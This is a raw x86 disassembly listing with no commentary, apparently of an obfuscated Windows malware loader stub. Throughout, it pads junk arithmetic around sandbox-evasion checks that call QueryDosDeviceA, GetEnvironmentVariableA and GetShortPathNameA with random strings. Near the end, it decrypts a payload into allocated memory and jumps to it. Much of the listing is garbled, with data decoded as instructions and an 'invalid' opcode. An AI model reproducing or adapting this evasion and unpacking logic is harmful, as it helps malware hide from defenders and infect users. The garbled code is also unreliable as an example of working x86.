push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x4033dd
add eax, edi
mov dword [0x40601f], 0x4a
mov edx, dword [esp]
adc edx, dword [0x406034]
or byte [0x406159], bh
xor dword [0x4061a9], 0xa1
mov ecx, dword [esp]
add ecx, 0x76
lea eax, [0x406a5c]
push dword [eax]
call dword [sym.imp.kernel32.dll_SetErrorMode]
adc dword [0x4061ea], 0x85
add dword [0x40617a], eax
mov ecx, dword [esp]
add ecx, eax
or ecx, dword [0x4061e1]
adc edi, dword [0x4061b9]
mov edx, dword [esp]
add edx, edi
mov edi, 0x4033dd
call edi
add bh, 0xd
sub byte [0x406054], 0x7b
xor byte [0x406018], ah
or dword [0x406177], ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], dl
sbb eax, 0x406023
mov edx, dword [esp]
adc edx, dword [0x406009]
adc esi, dword [0x406095]
adc dword [0x4061b7], 0x9b
sub dword [0x4061bd], esi
add edi, 0x21
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor eax, ebx
add edi, 0x47
adc eax, dword [0x4060ca]
sub ebx, 0xffffff9e
adc eax, dword [0x406044]
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x402dd9
adc dword [0x4060ec], 0x2a
adc dword [0x406117], 0xa
adc bl, byte [0x40616a]
sbb edi, edi
mov edi, section..text
call edi
or esi, 0xffffff93
mov dword [0x4060f4], 0xfd
mov edx, dword [esp]
adc edx, dword [0x406050]
mov ecx, dword [esp]
adc ecx, dword [0x40601a]
add edx, 0xfffffff2
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sbb dword [0x4061a5], 0xf
sbb edi, ebx
add ebx, 0x32
mov edx, dword [esp]
add edx, edi
adc ebx, dword [0x40619d]
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor dword [0x406100], eax
add dword [0x406178], ebx
add ebx, eax
add dword [0x4060a9], esi
mov esi, 0x40254a
call esi
xor dword [0x406118], 0x17
sbb dword [0x4061c5], edi
adc dword [0x406043], 0x2b
and dword [0x4061d4], 0x2c
mov edx, dword [esp]
adc edx, dword [0x40603d]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x15132414], cl
push edx
pushal
inc eax
add byte [ebx], dl
add eax, 0x4060d9
mov edx, dword [esp]
adc edx, dword [0x406052]
adc eax, dword [0x4060d9]
adc eax, dword [0x406164]
adc edi, dword [0x40619f]
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40254a
sub byte [0x4061b2], 9
add dword [0x4060bc], edi
mov ecx, dword [esp]
add ecx, 0x48
adc edi, dword [0x40604c]
mov edx, dword [esp]
add edx, 0x12
sbb ebx, 0xffffffae
mov eax, 0x40254a
call eax
sbb dword [0x406015], 0x8c
sub edi, 0x60
adc eax, dword [0x40619e]
xor edi, 0x68
add esi, ebx
adc bh, byte [0x4060ee]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
sbb eax, 0x406008
add dword [0x406008], ebx
add eax, esi
mov ecx, dword [esp]
add ecx, ebx
xor ebx, 0xffffffc3
and byte [0x4060ad], ah
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40300e
sbb dword [0x4060b7], 0xb0
mov edx, dword [esp]
adc edx, dword [0x4061dd]
mov dword [0x406120], 0x9f
xor dword [0x4060bb], edx
add edx, 0xffffffcf
or dword [0x406151], 0xe4
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x40300e
mov edx, dword [esp]
add edx, ebx
sbb ebx, 0x23
adc dword [0x406133], 0x76
or dl, 0x83
mov edx, 0x40300e
call edx
sub byte [0x406197], 0x46
xor byte [0x4060ea], bh
adc dword [0x406018], 0x4f
adc ah, bh
add edi, ebx
sbb edx, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add eax, 0x40604e
mov edx, dword [esp]
add edx, esi
add dword [0x406188], edx
xor dword [0x4061ae], 0xd6
mov ecx, dword [esp]
add ecx, edi
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
add dword [0x4060e4], edi
add byte [0x406008], ah
add esi, 0xffffffc9
adc bl, byte [0x40615a]
mov esi, 0x4029ac
call esi
and dword [0x406048], ebx
or dword [0x40608e], 0xf9
and dword [0x406113], esi
sbb eax, 0x34
mov ch, byte [esp]
add ch, al
mov edx, dword [esp]
add edx, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ebx, edi
adc al, byte [0x406188]
or edi, 0xffffffb4
adc esi, 0xfffffffe
add ebx, esi
lea edi, [0x406a5c]
push dword [edi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
add bl, bh
mov edx, dword [esp]
add edx, 0xffffffd4
mov ecx, dword [esp]
adc ecx, dword [0x406166]
xor dword [0x40616e], ebx
xor eax, 0x4f
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x402afc
sub byte [0x40619d], 0x2c
mov dl, byte [esp]
add dl, bl
add dword [0x4061c8], edx
sub eax, dword [0x40605c]
sbb dword [0x406074], edi
mov edx, 0x4019f5
call edx
adc dword [0x4061f1], 0xb3
or dword [0x4061f3], 0x5e
adc esi, esi
xor esi, 0xffffffcd
adc ebx, dword [0x4060a4]
add byte [0x406093], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc eax, 0xffffffe7
adc eax, dword [0x4060ca]
mov edx, dword [esp]
add edx, esi
adc dword [0x406036], edx
adc dword [0x4061ac], 0x30
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x402182
adc dword [0x4061ca], 0xb
add dword [0x406173], eax
mov edx, dword [esp]
add edx, ebx
adc dword [0x406080], 0x88
or dword [0x40614b], edi
sub eax, edx
mov edi, 0x401aa0
call edi
or eax, dword [0x40604f]
add dword [0x406186], ebx
mov ecx, dword [esp]
add ecx, 0xffffff9a
add bh, cl
add byte [eax], al
add byte [ebx], dl
add eax, 0x4061e3
add ebx, edi
xor esi, 0xffffffa2
mov dword [0x40603b], 0xdf
add eax, eax
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
and eax, 0xffffff9f
sbb byte [0x40606c], ah
sbb dword [0x406075], 0x7b
adc dword [0x406078], 0xf6
mov edx, dword [esp]
adc edx, dword [0x406081]
mov ebx, 0x40254a
call ebx
xor dword [0x4060bc], ebx
or dword [0x406191], 0x16
adc dword [0x4061e2], 0xffffff80
add ebx, 0x56
sub eax, dword [0x406179]
adc dword [0x406142], 0xd0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], bl
cmp eax, 0x406081
sbb dword [0x406081], edi
mov edx, dword [esp]
add edx, esi
xor dword [0x406071], 0x85
adc edi, dword [0x4060f1]
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
mov edx, dword [esp]
add edx, eax
add eax, 0xffffffb7
sbb dword [0x40605b], esi
or edx, 0xffffffee
and dword [0x4060f5], 0x99
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add ebx, ebx
mov edx, dword [esp]
adc edx, dword [0x4061cd]
sbb dword [0x406169], 0x1d
xor dword [0x4061c0], 0xca
adc dword [0x406154], 0xe7
mov edi, 0x40254a
call edi
adc edi, dword [0x406006]
add dword [0x4061f5], ebx
or dword [0x406056], edi
adc eax, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [esp]
add ecx, 0xffffff92
add al, bl
sub byte [0x406123], 0x50
sub eax, dword [0x406073]
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40254a
add dword [0x40618e], eax
add dword [0x4060cd], eax
sbb dword [0x406016], 0xf8
mov ecx, dword [esp]
add ecx, 0xffffffd4
adc esi, dword [0x406072]
adc eax, 0x3b
mov ecx, 0x40254a
call ecx
add eax, 0x29
mov edx, dword [esp]
adc edx, dword [0x4061b6]
adc esi, dword [0x4061ef]
adc dword [0x406092], ebx
add byte [eax], al
add byte [eax], al
add byte [edx + 0x2d826dc7], al
jae 0x403560
add bh, 0x6d
sub byte [0x406073], 9
inc eax
add byte [ecx], cl
add ebx, ebx
and dword [0x40601c], 0x34
xor dword [0x40609a], 0xe2
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
xor dword [0x406117], edi
mov ecx, dword [esp]
adc ecx, dword [0x406169]
mov edx, dword [esp]
add edx, esi
or dword [0x40606e], eax
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add dword [0x4060a0], edi
and dword [0x4061fa], esi
and dword [0x4060e6], 0x14
mov edx, dword [esp]
out 0x60, al
inc eax
add byte [ebx + ecx*4], dl
adc al, 0x24
adc edx, dword [0x4060ab]
sub dword [0x40611b], eax
mov esi, 0x401ec7
call esi
sbb dword [0x4061bf], 0x62
sbb ebx, 0x43
or edx, 0xffffff8b
add edi, edx
or edi, 0xffffff97
xor dword [0x4060c1], 0x5c
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor ebx, ebx
lea edi, [0x40633a]
mov ecx, 0x5dc62392
push ecx
mov edx, 0xd98
shl edx, 1
push edx
mov ecx, 0xd98
shl ecx, 1
push ecx
mov esi, 0x1b30
shl esi, 1
push esi
call dword [0x406a11]
pop ecx
cmp eax, 0
je 0x40254a
mov esi, eax
push esi
cmp ebx, 0x6cc
je 0x40373a
add edx, 0x1e
and byte [0x4060fc], dl
xor edx, edx
sub edx, edx
mov eax, dword [edi]
sub edx, dword [0x40613c]
or edx, dword [0x4061f8]
add dword [0x4061f7], edx
sbb dword [0x40605b], edx
adc dword [0x4060f7], 0xb
clc
adc edi, 4
sub edx, edx
adc dword [0x406173], edx
sbb dh, dl
adc dh, 0x92
not eax
sub edx, edx
adc edx, edx
and edx, 9
or edx, 0xffffffbc
sub eax, 0xfffffffe
add edx, edx
adc dword [0x40614a], 0xdb
adc edx, edx
adc dword [0x40614a], edx
ror eax, 8
adc edx, dword [0x4060f8]
sub dword [0x4060f9], edx
xor dword [0x40616f], 0xd8
add edx, edx
adc dword [0x4061b1], 5
adc edx, dword [0x406068]
xor eax, ecx
adc dh, byte [0x40613e]
adc dh, byte [0x4061a4]
sub dl, dh
add dword [0x4060af], edx
sbb edx, edx
sub byte [0x4061e6], dl
add eax, 0xffffffff
adc edx, 0xffffffea
sbb dh, 0xaa
and dword [0x406175], edx
sub edx, edx
adc edx, dword [0x406111]
xor ecx, ecx
sub ecx, eax
neg ecx
xor dword [0x4060ab], 0x4f
and edx, 0x18
add dword [0x4061a5], edx
add edx, edx
adc edx, edx
rol ecx, 3
adc dword [0x4060a4], edx
adc edx, dword [0x406131]
and edx, 0x62
sbb edx, 0x60
sub dword [0x406186], edx
sbb edx, edx
rol ecx, 5
adc edx, dword [0x406184]
add edx, 0x47
and edx, 0x71
and dh, 0xca
push eax
pop dword [esi]
add edx, edx
xor edx, 0xffffffd6
adc dl, 0x74
add edx, edx
add byte [0x406133], dh
clc
adc esi, 4
and dword [0x4060b9], 0xb5
sbb dword [0x4061f1], edx
sub dword [0x406141], edx
or edx, 0x55
sub ebx, 0xfffffffc
xor edx, edx
and dword [0x40617f], edx
adc edx, dword [0x4060d7]
or dword [0x40612a], edx
push 0x4035d9
ret
pop esi
mov ebx, dword [0x406336]
push ebx
sub byte [0x40619f], 0xd1
or ebx, 0x35
or dword [0x4061e5], ecx
mov dword [0x4061fb], 0x8d
push 0x4035a0
adc dword [0x4060fa], 0xfc
add ecx, 0xffffffdf
adc dword [0x40607f], 0x8b
add edi, 0xffffffdd
jmp esi
adc esi, 0xd
adc esi, dword [0x406070]
add eax, eax
or dword [0x406040], 0xa
lea eax, [0x406a5c]
push dword [eax]
call dword [sym.imp.kernel32.dll_SetErrorMode]
adc dword [0x40605d], 0x4f
add dword [0x4060ed], esi
adc dword [0x406013], esi
and byte [0x406051], ah
mov edx, dword [esp]
add edx, ebx
and dword [0x406080], 0x25
mov ecx, 0x40254a
call ecx
mov dword [0x4061e7], 0x2f
sub edi, ebx
adc edx, ebx
adc dword [0x406143], eax
xor dword [0x4061e7], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ah
add eax, 0x406111
adc edi, dword [0x406062]
or dword [0x406162], 0x5d
sub ebx, ebx
adc bl, byte [0x40617b]
mov edx, dword [esp]
add edx, eax
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
adc dword [0x406024], 0x84
xor dword [0x4060cd], 0x62
xor ebx, esi
or dword [0x406014], 0x83
mov ecx, dword [esp]
add ecx, ebx
mov ebx, 0x40234d
call ebx
add dword [0x406127], edi
adc dword [0x4060e8], eax
add eax, ebx
xor esi, 0x22
or ecx, dword [0x4061f7]
add bh, al
add eax, 0x406094
inc esp
add byte [eax], al
add byte [ebx + 0x4060641d], al
add byte [edi + 0x19], ah
invalid
mov edx, dword [esp]
add edx, ebx
xor dword [0x40614a], 0x15
adc esi, dword [0x406039]
and esi, 0xffffff86
sbb dword [0x406115], 0x2e
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x40254a
adc edi, 0xffffffd2
xor bl, 0x11
adc dword [0x40604f], ebx
and esi, 0x25
xor eax, 0xffffffb5
add esi, eax
mov eax, 0x40254a
call eax
adc eax, dword [0x406099]
adc eax, dword [0x4060cb]
mov edx, dword [esp]
adc edx, dword [0x40611f]
mov ecx, dword [esp]
add ecx, edi
sub ecx, dword [0x406132]
add byte [eax], al
add byte [ecx], cl
add eax, 0x406161
adc bl, byte [0x4060a2]
sbb edi, 0x55
xor eax, 0xfffffff8
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4028a4
adc ebx, dword [0x40614d]
add dword [0x406191], ebx
add esi, esi
sub ebx, edi
mov edx, dword [esp]
add edx, eax
mov ecx, 0x4022a4
call ecx
and esi, 8
sub dword [0x406114], ebx
add edi, edx
adc bl, byte [0x40619b]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x3fd6b10d], al
mov ecx, dword [esp]
add ecx, 0x11
xor ecx, ebx
adc ecx, dword [0x4060f9]
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x4018df
mov ecx, dword [esp]
adc ecx, dword [0x40612e]
mov edx, dword [esp]
adc edx, dword [0x40613d]
adc ebx, dword [0x406091]
add byte [0x406180], bl
adc edi, esi
and eax, 0xffffff87
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sub dword [0x4060a8], esi
sub byte [0x406060], 0x78
adc esi, dword [0x406139]
mov ecx, dword [esp]
add ecx, ebx
mov ecx, 0x402b6d
call ecx
mov edx, dword [esp]
add edx, 0x4c
or dword [0x4061b8], 0x31
adc dword [0x40605b], 0x42
add dword [0x406027], ecx
sub cl, byte [0x4061ad]
adc esi, dword [0x4060b6]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x15132414], cl
mov ch, 0x60
inc eax
add byte [ebx - 0x3e7cdbf4], cl
sub eax, 0x61e41519
inc eax
add byte [ebx + 0xa6aa1c3], al
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x401d10
adc dword [0x4061f4], eax
adc esi, dword [0x4060e0]
mov ecx, dword [esp]
adc ecx, dword [0x4061cb]
add eax, 0xffffffde
mov dword [section..data], 0x5d
add edi, esi
mov esi, 0x4025cd
call esi
xor dword [0x40619f], 0x82
adc esi, dword [0x406051]
xor dword [0x406159], 0xd0
and dword [0x406175], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc eax, ebx
or eax, dword [0x406069]
mov edx, dword [esp]
add edx, 0xffffffbc
adc al, byte [0x406155]
mov ecx, dword [esp]
add ecx, 0x3b
add dword [0x406187], esi
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sbb dword [0x40604e], 0x11
sbb dword [0x406074], 0xb
sbb esi, eax
sub byte [0x4060ce], 0x85
mov eax, 0x4038d4
call eax
mov edx, dword [esp]
adc edx, dword [0x406152]
mov ecx, dword [esp]
add ecx, ebx
adc esi, dword [0x406099]
xor esi, 0xffffffe0
and dword [0x406036], edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [0x406016], eax
sbb dword [0x406027], 0xce
and dword [0x406180], 0xa5
sub byte [0x4061f4], 0x9b
mov edx, dword [esp]
add edx, esi
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x402652
adc dword [0x4060a6], edi
mov ecx, dword [esp]
add ecx, 0xffffff94
add eax, 0x3d
sub ebx, ebx
or eax, dword [0x4061af]
add dword [0x40610a], ecx
mov eax, 0x402652
call eax
add ebx, 0x6d
xor dword [0x4060c4], 0xe0
adc esi, dword [0x4060b7]
sub ebx, dword [0x4060b7]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
adc edx, dword [0x40610f]
sub edx, dword [0x406052]
adc esi, dword [0x4061e1]
sub dword [0x4061ba], ebx
sub ah, byte [0x406173]
sbb eax, edi
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor dword [0x4060cc], 0xf3
sbb esi, 0xffffffb8
sub byte [0x4061d5], 1
mov ecx, dword [esp]
adc ecx, dword [0x4061ca]
mov edx, dword [esp]
adc edx, dword [0x406175]
adc dword [0x406140], esi
mov eax, 0x40107b
call eax
sbb dword [0x4060d5], edi
adc edi, dword [0x406092]
add eax, eax
add byte [0x4060d2], ah
sbb dword [0x406015], 0xf8
add edi, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x46], bl
shl byte [eax + 0x40], cl
add byte [ecx + 0x4060151d], al
add al, bh
add byte [eax], al
add byte [ecx], al
mov dword [eax], 0
add byte [eax], al
add byte [eax], al
pop ebp
inc esi
jns 0x403d32
fistp qword [ecx + 0x46]
pop esp
pop esp
inc esi
jns 0x403d36
fstp xword [ecx - 0x47]
mov dword [0x6379b9a3], eax
arpl word [ecx - 0x47], di
mov dword [0x2379b9a3], eax
and edi, dword [ecx - 0x47]
mov dword [0x2379b9a3], eax
and edi, dword [ecx - 0x47]
mov dword [0x2379b9a3], eax
and edi, dword [ecx - 0x47]
mov dword [0x2379b9a3], eax
and edi, dword [ecx - 0x47]
mov dword [0x2379b9a3], eax
and edi, dword [ecx - 0x47]
retf